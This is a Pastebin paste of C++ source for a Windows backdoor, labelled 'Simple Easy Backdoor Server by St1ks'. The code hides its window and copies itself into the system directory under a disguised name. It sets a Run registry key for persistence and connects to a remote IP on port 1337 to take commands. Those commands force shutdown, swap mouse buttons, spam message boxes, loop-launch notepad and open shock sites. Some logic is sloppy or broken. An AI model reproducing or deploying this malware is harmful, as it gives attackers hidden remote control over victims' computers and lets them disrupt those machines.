Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Simple Easy Backdoor Server by St1ks
- #include <winsock2.h>
- #include <iostream>
- #include <windows.h>
- using namespace std;
- char Windir[MAX_PATH];
- char Module[MAX_PATH];
- char cmd[MAX_PATH]="";
- void shock()
- {
- system("start www.goatse.cx");
- system("start www.tubgirl.com");
- system("start www.LemonParty.org");
- system("start www.Whoomp.org");
- system("start www.Yellaface.com");
- system("start www.thewillpower.com");
- }
- void GetPaths()
- {
- GetSystemDirectory(Windir, sizeof(Windir));
- GetModuleFileName(0, Module, sizeof(Module));
- strcat(Windir, "\\WindowsAPICalls.exe");
- }
- void Install()
- {
- CopyFile(Module,Windir,0);
- HKEY Install;
- RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &Install);
- RegSetValueEx(Install, "Windows API Calls", 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
- RegCloseKey(Install);
- }
- int exit()
- {
- return 0;
- }
- SOCKET Socket;
- void message()
- {
- int x=1;
- while(x<30)
- {
- MessageBox(NULL, "Oh No", ".........", MB_OK);
- x++;
- }
- }
- void Shutdown()
- {
- system("shutdown -s -t 5");
- }
- void beep()
- {
- Beep(8000, 12000);
- }
- void OpenCloseCDTray()
- {
- mciSendString("set cdaudio door open", 0, 0, 0);
- mciSendString("set cdaudio door open", 0, 0, 0);
- }
- void mouse()
- {
- float x, y, z;
- x=rand()%800;
- y=rand()%800;
- z=1;
- while(z<10);
- {
- SetCursorPos(x, y);
- z++;
- }
- }
- void Bomb()
- {
- HWND hwnd;
- char Notepad[MAX_PATH]="notepad.exe";
- for(;;)
- {
- ShellExecute(hwnd,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
- }
- }
- void LeftMouse()
- {
- SwapMouseButton(true);
- }
- void RightMouse()
- {
- SwapMouseButton(false);
- }
- int ServerInitialize()
- {
- char IP[MAX_PATH];
- WSADATA wsaData;
- int iResult;
- iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
- if ( iResult != NO_ERROR )
- {
- cout << "Error at WSAStartup()\n";
- cin.ignore();
- return 0;
- }
- else
- {
- cout << "Winsock intialized.\n";
- }
- Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (Socket == INVALID_SOCKET)
- {
- cout << "Error at socket(): %ld\n",WSAGetLastError();
- WSACleanup();
- cin.ignore();
- return 0;
- }
- else
- {
- cout << "Socket initialized" << "\n";
- }
- sockaddr_in clientService;
- clientService.sin_family = AF_INET;
- clientService.sin_addr.s_addr = inet_addr( "IP to connect to");
- clientService.sin_port = htons(1337);
- cout<<"HI";
- if (connect(Socket, (SOCKADDR*) &clientService, sizeof(clientService)) == SOCKET_ERROR)
- {
- cout << "Failed to connect.\n";
- WSACleanup();
- cin.ignore();
- return 0;
- }
- else
- {
- cout << "Connected to server." << "\n";
- }
- }
- void Receive()
- {
- for(;;)
- {
- char Choice[MAX_PATH]="";
- cout << "Waiting for commands, sir!" << "\n";
- recv(Socket, Choice, sizeof(Choice), 0);
- cout << Choice << "\n";
- if (!strcmp(Choice,"1"))
- {
- LeftMouse();
- const char c_LeftMouse[MAX_PATH]={"Mouse changed; left."};
- send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
- }
- if (!strcmp(Choice,"2"))
- {
- RightMouse();
- const char c_RightMouse[MAX_PATH]={"Mouse changed; right."};
- send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
- }
- if (!strcmp(Choice,"3"))
- {
- OpenCloseCDTray();
- const char c_CDTray[MAX_PATH]={"CD Tray opened. Closed if not on a laptop."};
- send(Socket,c_CDTray, sizeof(c_CDTray),0);
- }
- if (!strcmp(Choice,"4"))
- {
- Shutdown();
- const char c_Shutdown[MAX_PATH]={"Shutdown initiated."};
- send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
- }
- if (!strcmp(Choice,"5"))
- {
- beep();
- const char c_beep[MAX_PATH]={"Beeped."};
- send(Socket,c_beep, sizeof(c_beep),0);
- }
- if (!strcmp(Choice,"6"))
- {
- mouse();
- const char c_mouse[MAX_PATH]={"mouse moved."};
- send(Socket,c_mouse, sizeof(c_mouse),0);
- }
- if (!strcmp(Choice,"6"))
- {
- message();
- const char c_message[MAX_PATH]={"Message Sent"};
- send(Socket,c_message, sizeof(c_message),0);
- }
- if (!strcmp(Choice,"7"))
- {
- shock();
- const char c_shock[MAX_PATH]={"Shocked\n"};
- send(Socket,c_shock, sizeof(c_shock),0);
- }
- }
- }
- int main()
- {
- if(!strcmp(Windir,Module))
- {
- SetConsoleTitle("..");
- HWND hide = FindWindow(NULL, "..");
- ShowWindow(hide, 0);
- ServerInitialize();
- Receive();
- }
- else
- {
- SetConsoleTitle("..");
- HWND hide = FindWindow(NULL, "..");
- ShowWindow(hide, 0);
- ServerInitialize();
- Receive();
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment